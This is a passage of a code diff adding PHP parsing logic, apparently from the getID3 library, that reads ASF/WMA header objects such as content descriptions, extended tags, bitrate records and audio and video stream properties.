+					// Object Size                  QWORD        64              // size of Error Correction object, including 44 bytes of Error Correction Object header
+					// Error Correction Type        GUID         128             // type of error correction. one of: (GETID3_ASF_No_Error_Correction, GETID3_ASF_Audio_Spread)
+					// Error Correction Data Length DWORD        32              // number of bytes in Error Correction Data field
+					// Error Correction Data        BYTESTREAM   variable        // structure depends on value of Error Correction Type field
+
+					// shortcut
+					$thisfile_asf['error_correction_object'] = array();
+					$thisfile_asf_errorcorrectionobject      = &$thisfile_asf['error_correction_object'];
+
+					$thisfile_asf_errorcorrectionobject['offset']                = $NextObjectOffset + $offset;
+					$thisfile_asf_errorcorrectionobject['objectid']              = $NextObjectGUID;
+					$thisfile_asf_errorcorrectionobject['objectid_guid']         = $NextObjectGUIDtext;
+					$thisfile_asf_errorcorrectionobject['objectsize']            = $NextObjectSize;
+					$thisfile_asf_errorcorrectionobject['error_correction_type'] = substr($ASFHeaderData, $offset, 16);
+					$offset += 16;
+					$thisfile_asf_errorcorrectionobject['error_correction_guid'] = $this->BytestringToGUID($thisfile_asf_errorcorrectionobject['error_correction_type']);
+					$thisfile_asf_errorcorrectionobject['error_correction_data_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+					$offset += 4;
+					switch ($thisfile_asf_errorcorrectionobject['error_correction_type']) {
+						case GETID3_ASF_No_Error_Correction:
+							// should be no data, but just in case there is, skip to the end of the field
+							$offset += $thisfile_asf_errorcorrectionobject['error_correction_data_length'];
+							break;
+
+						case GETID3_ASF_Audio_Spread:
+							// Field Name                   Field Type   Size (bits)
+							// Span                         BYTE         8               // number of packets over which audio will be spread.
+							// Virtual Packet Length        WORD         16              // size of largest audio payload found in audio stream
+							// Virtual Chunk Length         WORD         16              // size of largest audio payload found in audio stream
+							// Silence Data Length          WORD         16              // number of bytes in Silence Data field
+							// Silence Data                 BYTESTREAM   variable        // hardcoded: 0x00 * (Silence Data Length) bytes
+
+							$thisfile_asf_errorcorrectionobject['span']                  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 1));
+							$offset += 1;
+							$thisfile_asf_errorcorrectionobject['virtual_packet_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+							$offset += 2;
+							$thisfile_asf_errorcorrectionobject['virtual_chunk_length']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+							$offset += 2;
+							$thisfile_asf_errorcorrectionobject['silence_data_length']   = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+							$offset += 2;
+							$thisfile_asf_errorcorrectionobject['silence_data']          = substr($ASFHeaderData, $offset, $thisfile_asf_errorcorrectionobject['silence_data_length']);
+							$offset += $thisfile_asf_errorcorrectionobject['silence_data_length'];
+							break;
+
+						default:
+							$info['warning'][] = 'error_correction_object.error_correction_type GUID {'.$this->BytestringToGUID($thisfile_asf_errorcorrectionobject['reserved']).'} does not match expected "GETID3_ASF_No_Error_Correction" GUID {'.$this->BytestringToGUID(GETID3_ASF_No_Error_Correction).'} or  "GETID3_ASF_Audio_Spread" GUID {'.$this->BytestringToGUID(GETID3_ASF_Audio_Spread).'}';
+							//return false;
+							break;
+					}
+
+					break;
+
+				case GETID3_ASF_Content_Description_Object:
+					// Content Description Object: (optional, one only)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for Content Description object - GETID3_ASF_Content_Description_Object
+					// Object Size                  QWORD        64              // size of Content Description object, including 34 bytes of Content Description Object header
+					// Title Length                 WORD         16              // number of bytes in Title field
+					// Author Length                WORD         16              // number of bytes in Author field
+					// Copyright Length             WORD         16              // number of bytes in Copyright field
+					// Description Length           WORD         16              // number of bytes in Description field
+					// Rating Length                WORD         16              // number of bytes in Rating field
+					// Title                        WCHAR        16              // array of Unicode characters - Title
+					// Author                       WCHAR        16              // array of Unicode characters - Author
+					// Copyright                    WCHAR        16              // array of Unicode characters - Copyright
+					// Description                  WCHAR        16              // array of Unicode characters - Description
+					// Rating                       WCHAR        16              // array of Unicode characters - Rating
+
+					// shortcut
+					$thisfile_asf['content_description_object'] = array();
+					$thisfile_asf_contentdescriptionobject      = &$thisfile_asf['content_description_object'];
+
+					$thisfile_asf_contentdescriptionobject['offset']                = $NextObjectOffset + $offset;
+					$thisfile_asf_contentdescriptionobject['objectid']              = $NextObjectGUID;
+					$thisfile_asf_contentdescriptionobject['objectid_guid']         = $NextObjectGUIDtext;
+					$thisfile_asf_contentdescriptionobject['objectsize']            = $NextObjectSize;
+					$thisfile_asf_contentdescriptionobject['title_length']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					$thisfile_asf_contentdescriptionobject['author_length']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					$thisfile_asf_contentdescriptionobject['copyright_length']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					$thisfile_asf_contentdescriptionobject['description_length']    = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					$thisfile_asf_contentdescriptionobject['rating_length']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					$thisfile_asf_contentdescriptionobject['title']                 = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['title_length']);
+					$offset += $thisfile_asf_contentdescriptionobject['title_length'];
+					$thisfile_asf_contentdescriptionobject['author']                = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['author_length']);
+					$offset += $thisfile_asf_contentdescriptionobject['author_length'];
+					$thisfile_asf_contentdescriptionobject['copyright']             = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['copyright_length']);
+					$offset += $thisfile_asf_contentdescriptionobject['copyright_length'];
+					$thisfile_asf_contentdescriptionobject['description']           = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['description_length']);
+					$offset += $thisfile_asf_contentdescriptionobject['description_length'];
+					$thisfile_asf_contentdescriptionobject['rating']                = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['rating_length']);
+					$offset += $thisfile_asf_contentdescriptionobject['rating_length'];
+
+					$ASFcommentKeysToCopy = array('title'=>'title', 'author'=>'artist', 'copyright'=>'copyright', 'description'=>'comment', 'rating'=>'rating');
+					foreach ($ASFcommentKeysToCopy as $keytocopyfrom => $keytocopyto) {
+						if (!empty($thisfile_asf_contentdescriptionobject[$keytocopyfrom])) {
+							$thisfile_asf_comments[$keytocopyto][] = $this->TrimTerm($thisfile_asf_contentdescriptionobject[$keytocopyfrom]);
+						}
+					}
+					break;
+
+				case GETID3_ASF_Extended_Content_Description_Object:
+					// Extended Content Description Object: (optional, one only)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for Extended Content Description object - GETID3_ASF_Extended_Content_Description_Object
+					// Object Size                  QWORD        64              // size of ExtendedContent Description object, including 26 bytes of Extended Content Description Object header
+					// Content Descriptors Count    WORD         16              // number of entries in Content Descriptors list
+					// Content Descriptors          array of:    variable        //
+					// * Descriptor Name Length     WORD         16              // size in bytes of Descriptor Name field
+					// * Descriptor Name            WCHAR        variable        // array of Unicode characters - Descriptor Name
+					// * Descriptor Value Data Type WORD         16              // Lookup array:
+																					// 0x0000 = Unicode String (variable length)
+																					// 0x0001 = BYTE array     (variable length)
+																					// 0x0002 = BOOL           (DWORD, 32 bits)
+																					// 0x0003 = DWORD          (DWORD, 32 bits)
+																					// 0x0004 = QWORD          (QWORD, 64 bits)
+																					// 0x0005 = WORD           (WORD,  16 bits)
+					// * Descriptor Value Length    WORD         16              // number of bytes stored in Descriptor Value field
+					// * Descriptor Value           variable     variable        // value for Content Descriptor
+
+					// shortcut
+					$thisfile_asf['extended_content_description_object'] = array();
+					$thisfile_asf_extendedcontentdescriptionobject       = &$thisfile_asf['extended_content_description_object'];
+
+					$thisfile_asf_extendedcontentdescriptionobject['offset']                    = $NextObjectOffset + $offset;
+					$thisfile_asf_extendedcontentdescriptionobject['objectid']                  = $NextObjectGUID;
+					$thisfile_asf_extendedcontentdescriptionobject['objectid_guid']             = $NextObjectGUIDtext;
+					$thisfile_asf_extendedcontentdescriptionobject['objectsize']                = $NextObjectSize;
+					$thisfile_asf_extendedcontentdescriptionobject['content_descriptors_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					for ($ExtendedContentDescriptorsCounter = 0; $ExtendedContentDescriptorsCounter < $thisfile_asf_extendedcontentdescriptionobject['content_descriptors_count']; $ExtendedContentDescriptorsCounter++) {
+						// shortcut
+						$thisfile_asf_extendedcontentdescriptionobject['content_descriptors'][$ExtendedContentDescriptorsCounter] = array();
+						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current                 = &$thisfile_asf_extendedcontentdescriptionobject['content_descriptors'][$ExtendedContentDescriptorsCounter];
+
+						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['base_offset']  = $offset + 30;
+						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+						$offset += 2;
+						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']         = substr($ASFHeaderData, $offset, $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length']);
+						$offset += $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length'];
+						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']   = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+						$offset += 2;
+						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+						$offset += 2;
+						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']        = substr($ASFHeaderData, $offset, $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length']);
+						$offset += $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'];
+						switch ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']) {
+							case 0x0000: // Unicode string
+								break;
+
+							case 0x0001: // BYTE array
+								// do nothing
+								break;
+
+							case 0x0002: // BOOL
+								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = (bool) getid3_lib::LittleEndian2Int($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
+								break;
+
+							case 0x0003: // DWORD
+							case 0x0004: // QWORD
+							case 0x0005: // WORD
+								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = getid3_lib::LittleEndian2Int($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
+								break;
+
+							default:
+								$info['warning'][] = 'extended_content_description.content_descriptors.'.$ExtendedContentDescriptorsCounter.'.value_type is invalid ('.$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type'].')';
+								//return false;
+								break;
+						}
+						switch ($this->TrimConvert(strtolower($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']))) {
+
+							case 'wm/albumartist':
+							case 'artist':
+								// Note: not 'artist', that comes from 'author' tag
+								$thisfile_asf_comments['albumartist'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
+								break;
+
+							case 'wm/albumtitle':
+							case 'album':
+								$thisfile_asf_comments['album']  = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
+								break;
+
+							case 'wm/genre':
+							case 'genre':
+								$thisfile_asf_comments['genre'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
+								break;
+
+							case 'wm/partofset':
+								$thisfile_asf_comments['partofset'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
+								break;
+
+							case 'wm/tracknumber':
+							case 'tracknumber':
+								// be careful casting to int: casting unicode strings to int gives unexpected results (stops parsing at first non-numeric character)
+								$thisfile_asf_comments['track'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
+								foreach ($thisfile_asf_comments['track'] as $key => $value) {
+									if (preg_match('/^[0-9\x00]+$/', $value)) {
+										$thisfile_asf_comments['track'][$key] = intval(str_replace("\x00", '', $value));
+									}
+								}
+								break;
+
+							case 'wm/track':
+								if (empty($thisfile_asf_comments['track'])) {
+									$thisfile_asf_comments['track'] = array(1 + $this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
+								}
+								break;
+
+							case 'wm/year':
+							case 'year':
+							case 'date':
+								$thisfile_asf_comments['year'] = array( $this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
+								break;
+
+							case 'wm/lyrics':
+							case 'lyrics':
+								$thisfile_asf_comments['lyrics'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
+								break;
+
+							case 'isvbr':
+								if ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']) {
+									$thisfile_audio['bitrate_mode'] = 'vbr';
+									$thisfile_video['bitrate_mode'] = 'vbr';
+								}
+								break;
+
+							case 'id3':
+								$this->getid3->include_module('tag.id3v2');
+
+								$getid3_id3v2 = new getid3_id3v2($this->getid3);
+								$getid3_id3v2->AnalyzeString($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
+								unset($getid3_id3v2);
+
+								if ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'] > 1024) {
+									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = '<value too large to display>';
+								}
+								break;
+
+							case 'wm/encodingtime':
+								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['encoding_time_unix'] = $this->FILETIMEtoUNIXtime($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
+								$thisfile_asf_comments['encoding_time_unix'] = array($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['encoding_time_unix']);
+								break;
+
+							case 'wm/picture':
+								$WMpicture = $this->ASF_WMpicture($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
+								foreach ($WMpicture as $key => $value) {
+									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current[$key] = $value;
+								}
+								unset($WMpicture);
+/*
+								$wm_picture_offset = 0;
+								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type_id'] = getid3_lib::LittleEndian2Int(substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 1));
+								$wm_picture_offset += 1;
+								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type']    = self::WMpictureTypeLookup($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_type_id']);
+								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_size']    = getid3_lib::LittleEndian2Int(substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 4));
+								$wm_picture_offset += 4;
+
+								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = '';
+								do {
+									$next_byte_pair = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 2);
+									$wm_picture_offset += 2;
+									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] .= $next_byte_pair;
+								} while ($next_byte_pair !== "\x00\x00");
+
+								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_description'] = '';
+								do {
+									$next_byte_pair = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset, 2);
+									$wm_picture_offset += 2;
+									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_description'] .= $next_byte_pair;
+								} while ($next_byte_pair !== "\x00\x00");
+
+								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['dataoffset'] = $wm_picture_offset;
+								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'] = substr($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'], $wm_picture_offset);
+								unset($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
+
+								$imageinfo = array();
+								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = '';
+								$imagechunkcheck = getid3_lib::GetDataImageSize($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'], $imageinfo);
+								unset($imageinfo);
+								if (!empty($imagechunkcheck)) {
+									$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime'] = image_type_to_mime_type($imagechunkcheck[2]);
+								}
+								if (!isset($thisfile_asf_comments['picture'])) {
+									$thisfile_asf_comments['picture'] = array();
+								}
+								$thisfile_asf_comments['picture'][] = array('data'=>$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['data'], 'image_mime'=>$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['image_mime']);
+*/
+								break;
+
+							default:
+								switch ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']) {
+									case 0: // Unicode string
+										if (substr($this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']), 0, 3) == 'WM/') {
+											$thisfile_asf_comments[str_replace('wm/', '', strtolower($this->TrimConvert($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name'])))] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
+										}
+										break;
+
+									case 1:
+										break;
+								}
+								break;
+						}
+
+					}
+					break;
+
+				case GETID3_ASF_Stream_Bitrate_Properties_Object:
+					// Stream Bitrate Properties Object: (optional, one only)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for Stream Bitrate Properties object - GETID3_ASF_Stream_Bitrate_Properties_Object
+					// Object Size                  QWORD        64              // size of Extended Content Description object, including 26 bytes of Stream Bitrate Properties Object header
+					// Bitrate Records Count        WORD         16              // number of records in Bitrate Records
+					// Bitrate Records              array of:    variable        //
+					// * Flags                      WORD         16              //
+					// * * Stream Number            bits         7  (0x007F)     // number of this stream
+					// * * Reserved                 bits         9  (0xFF80)     // hardcoded: 0
+					// * Average Bitrate            DWORD        32              // in bits per second
+
+					// shortcut
+					$thisfile_asf['stream_bitrate_properties_object'] = array();
+					$thisfile_asf_streambitratepropertiesobject       = &$thisfile_asf['stream_bitrate_properties_object'];
+
+					$thisfile_asf_streambitratepropertiesobject['offset']                    = $NextObjectOffset + $offset;
+					$thisfile_asf_streambitratepropertiesobject['objectid']                  = $NextObjectGUID;
+					$thisfile_asf_streambitratepropertiesobject['objectid_guid']             = $NextObjectGUIDtext;
+					$thisfile_asf_streambitratepropertiesobject['objectsize']                = $NextObjectSize;
+					$thisfile_asf_streambitratepropertiesobject['bitrate_records_count']     = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					for ($BitrateRecordsCounter = 0; $BitrateRecordsCounter < $thisfile_asf_streambitratepropertiesobject['bitrate_records_count']; $BitrateRecordsCounter++) {
+						$thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+						$offset += 2;
+						$thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags']['stream_number'] = $thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['flags_raw'] & 0x007F;
+						$thisfile_asf_streambitratepropertiesobject['bitrate_records'][$BitrateRecordsCounter]['bitrate'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+						$offset += 4;
+					}
+					break;
+
+				case GETID3_ASF_Padding_Object:
+					// Padding Object: (optional)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for Padding object - GETID3_ASF_Padding_Object
+					// Object Size                  QWORD        64              // size of Padding object, including 24 bytes of ASF Padding Object header
+					// Padding Data                 BYTESTREAM   variable        // ignore
+
+					// shortcut
+					$thisfile_asf['padding_object'] = array();
+					$thisfile_asf_paddingobject     = &$thisfile_asf['padding_object'];
+
+					$thisfile_asf_paddingobject['offset']                    = $NextObjectOffset + $offset;
+					$thisfile_asf_paddingobject['objectid']                  = $NextObjectGUID;
+					$thisfile_asf_paddingobject['objectid_guid']             = $NextObjectGUIDtext;
+					$thisfile_asf_paddingobject['objectsize']                = $NextObjectSize;
+					$thisfile_asf_paddingobject['padding_length']            = $thisfile_asf_paddingobject['objectsize'] - 16 - 8;
+					$thisfile_asf_paddingobject['padding']                   = substr($ASFHeaderData, $offset, $thisfile_asf_paddingobject['padding_length']);
+					$offset += ($NextObjectSize - 16 - 8);
+					break;
+
+				case GETID3_ASF_Extended_Content_Encryption_Object:
+				case GETID3_ASF_Content_Encryption_Object:
+					// WMA DRM - just ignore
+					$offset += ($NextObjectSize - 16 - 8);
+					break;
+
+				default:
+					// Implementations shall ignore any standard or non-standard object that they do not know how to handle.
+					if ($this->GUIDname($NextObjectGUIDtext)) {
+						$info['warning'][] = 'unhandled GUID "'.$this->GUIDname($NextObjectGUIDtext).'" {'.$NextObjectGUIDtext.'} in ASF header at offset '.($offset - 16 - 8);
+					} else {
+						$info['warning'][] = 'unknown GUID {'.$NextObjectGUIDtext.'} in ASF header at offset '.($offset - 16 - 8);
+					}
+					$offset += ($NextObjectSize - 16 - 8);
+					break;
+			}
+		}
+		if (isset($thisfile_asf_streambitrateproperties['bitrate_records_count'])) {
+			$ASFbitrateAudio = 0;
+			$ASFbitrateVideo = 0;
+			for ($BitrateRecordsCounter = 0; $BitrateRecordsCounter < $thisfile_asf_streambitrateproperties['bitrate_records_count']; $BitrateRecordsCounter++) {
+				if (isset($thisfile_asf_codeclistobject['codec_entries'][$BitrateRecordsCounter])) {
+					switch ($thisfile_asf_codeclistobject['codec_entries'][$BitrateRecordsCounter]['type_raw']) {
+						case 1:
+							$ASFbitrateVideo += $thisfile_asf_streambitrateproperties['bitrate_records'][$BitrateRecordsCounter]['bitrate'];
+							break;
+
+						case 2:
+							$ASFbitrateAudio += $thisfile_asf_streambitrateproperties['bitrate_records'][$BitrateRecordsCounter]['bitrate'];
+							break;
+
+						default:
+							// do nothing
+							break;
+					}
+				}
+			}
+			if ($ASFbitrateAudio > 0) {
+				$thisfile_audio['bitrate'] = $ASFbitrateAudio;
+			}
+			if ($ASFbitrateVideo > 0) {
+				$thisfile_video['bitrate'] = $ASFbitrateVideo;
+			}
+		}
+		if (isset($thisfile_asf['stream_properties_object']) && is_array($thisfile_asf['stream_properties_object'])) {
+
+			$thisfile_audio['bitrate'] = 0;
+			$thisfile_video['bitrate'] = 0;
+
+			foreach ($thisfile_asf['stream_properties_object'] as $streamnumber => $streamdata) {
+
+				switch ($streamdata['stream_type']) {
+					case GETID3_ASF_Audio_Media:
+						// Field Name                   Field Type   Size (bits)
+						// Codec ID / Format Tag        WORD         16              // unique ID of audio codec - defined as wFormatTag field of WAVEFORMATEX structure
+						// Number of Channels           WORD         16              // number of channels of audio - defined as nChannels field of WAVEFORMATEX structure
+						// Samples Per Second           DWORD        32              // in Hertz - defined as nSamplesPerSec field of WAVEFORMATEX structure
+						// Average number of Bytes/sec  DWORD        32              // bytes/sec of audio stream  - defined as nAvgBytesPerSec field of WAVEFORMATEX structure
+						// Block Alignment              WORD         16              // block size in bytes of audio codec - defined as nBlockAlign field of WAVEFORMATEX structure
+						// Bits per sample              WORD         16              // bits per sample of mono data. set to zero for variable bitrate codecs. defined as wBitsPerSample field of WAVEFORMATEX structure
+						// Codec Specific Data Size     WORD         16              // size in bytes of Codec Specific Data buffer - defined as cbSize field of WAVEFORMATEX structure
+						// Codec Specific Data          BYTESTREAM   variable        // array of codec-specific data bytes
+
+						// shortcut
+						$thisfile_asf['audio_media'][$streamnumber] = array();
+						$thisfile_asf_audiomedia_currentstream      = &$thisfile_asf['audio_media'][$streamnumber];
+
+						$audiomediaoffset = 0;
+
+						$thisfile_asf_audiomedia_currentstream = getid3_riff::parseWAVEFORMATex(substr($streamdata['type_specific_data'], $audiomediaoffset, 16));
+						$audiomediaoffset += 16;
+
+						$thisfile_audio['lossless'] = false;
+						switch ($thisfile_asf_audiomedia_currentstream['raw']['wFormatTag']) {
+							case 0x0001: // PCM
+							case 0x0163: // WMA9 Lossless
+								$thisfile_audio['lossless'] = true;
+								break;
+						}
+
+						if (!empty($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'])) {
+							foreach ($thisfile_asf['stream_bitrate_properties_object']['bitrate_records'] as $dummy => $dataarray) {
+								if (isset($dataarray['flags']['stream_number']) && ($dataarray['flags']['stream_number'] == $streamnumber)) {
+									$thisfile_asf_audiomedia_currentstream['bitrate'] = $dataarray['bitrate'];
+									$thisfile_audio['bitrate'] += $dataarray['bitrate'];
+									break;
+								}
+							}
+						} else {
+							if (!empty($thisfile_asf_audiomedia_currentstream['bytes_sec'])) {
+								$thisfile_audio['bitrate'] += $thisfile_asf_audiomedia_currentstream['bytes_sec'] * 8;
+							} elseif (!empty($thisfile_asf_audiomedia_currentstream['bitrate'])) {
+								$thisfile_audio['bitrate'] += $thisfile_asf_audiomedia_currentstream['bitrate'];
+							}
+						}
+						$thisfile_audio['streams'][$streamnumber]                = $thisfile_asf_audiomedia_currentstream;
+						$thisfile_audio['streams'][$streamnumber]['wformattag']  = $thisfile_asf_audiomedia_currentstream['raw']['wFormatTag'];
+						$thisfile_audio['streams'][$streamnumber]['lossless']    = $thisfile_audio['lossless'];
+						$thisfile_audio['streams'][$streamnumber]['bitrate']     = $thisfile_audio['bitrate'];
+						$thisfile_audio['streams'][$streamnumber]['dataformat']  = 'wma';
+						unset($thisfile_audio['streams'][$streamnumber]['raw']);
+
+						$thisfile_asf_audiomedia_currentstream['codec_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $audiomediaoffset, 2));
+						$audiomediaoffset += 2;
+						$thisfile_asf_audiomedia_currentstream['codec_data']      = substr($streamdata['type_specific_data'], $audiomediaoffset, $thisfile_asf_audiomedia_currentstream['codec_data_size']);
+						$audiomediaoffset += $thisfile_asf_audiomedia_currentstream['codec_data_size'];
+
+						break;
+
+					case GETID3_ASF_Video_Media:
+						// Field Name                   Field Type   Size (bits)
+						// Encoded Image Width          DWORD        32              // width of image in pixels
+						// Encoded Image Height         DWORD        32              // height of image in pixels
+						// Reserved Flags               BYTE         8               // hardcoded: 0x02
+						// Format Data Size             WORD         16              // size of Format Data field in bytes
+						// Format Data                  array of:    variable        //
+						// * Format Data Size           DWORD        32              // number of bytes in Format Data field, in bytes - defined as biSize field of BITMAPINFOHEADER structure
+						// * Image Width                LONG         32              // width of encoded image in pixels - defined as biWidth field of BITMAPINFOHEADER structure
+						// * Image Height               LONG         32              // height of encoded image in pixels - defined as biHeight field of BITMAPINFOHEADER structure
+						// * Reserved                   WORD         16              // hardcoded: 0x0001 - defined as biPlanes field of BITMAPINFOHEADER structure
+						// * Bits Per Pixel Count       WORD         16              // bits per pixel - defined as biBitCount field of BITMAPINFOHEADER structure
+						// * Compression ID             FOURCC       32              // fourcc of video codec - defined as biCompression field of BITMAPINFOHEADER structure
+						// * Image Size                 DWORD        32              // image size in bytes - defined as biSizeImage field of BITMAPINFOHEADER structure
+						// * Horizontal Pixels / Meter  DWORD        32              // horizontal resolution of target device in pixels per meter - defined as biXPelsPerMeter field of BITMAPINFOHEADER structure
+						// * Vertical Pixels / Meter    DWORD        32              // vertical resolution of target device in pixels per meter - defined as biYPelsPerMeter field of BITMAPINFOHEADER structure
+						// * Colors Used Count          DWORD        32              // number of color indexes in the color table that are actually used - defined as biClrUsed field of BITMAPINFOHEADER structure
+						// * Important Colors Count     DWORD        32              // number of color index required for displaying bitmap. if zero, all colors are required. defined as biClrImportant field of BITMAPINFOHEADER structure
+						// * Codec Specific Data        BYTESTREAM   variable        // array of codec-specific data bytes
+
+						// shortcut
+						$thisfile_asf['video_media'][$streamnumber] = array();
+						$thisfile_asf_videomedia_currentstream      = &$thisfile_asf['video_media'][$streamnumber];
+
+						$videomediaoffset = 0;
+						$thisfile_asf_videomedia_currentstream['image_width']                     = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
+						$videomediaoffset += 4;
+						$thisfile_asf_videomedia_currentstream['image_height']                    = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
+						$videomediaoffset += 4;
+						$thisfile_asf_videomedia_currentstream['flags']                           = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 1));
+						$videomediaoffset += 1;
+						$thisfile_asf_videomedia_currentstream['format_data_size']                = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 2));
+						$videomediaoffset += 2;
+						$thisfile_asf_videomedia_currentstream['format_data']['format_data_size'] = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
+						$videomediaoffset += 4;
+						$thisfile_asf_videomedia_currentstream['format_data']['image_width']      = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
+						$videomediaoffset += 4;
+						$thisfile_asf_videomedia_currentstream['format_data']['image_height']     = getid3_lib::LittleEndian2Int(substr($streamdata['type_specific_data'], $videomediaoffset, 4));
+						$videomediaoffset += 4;
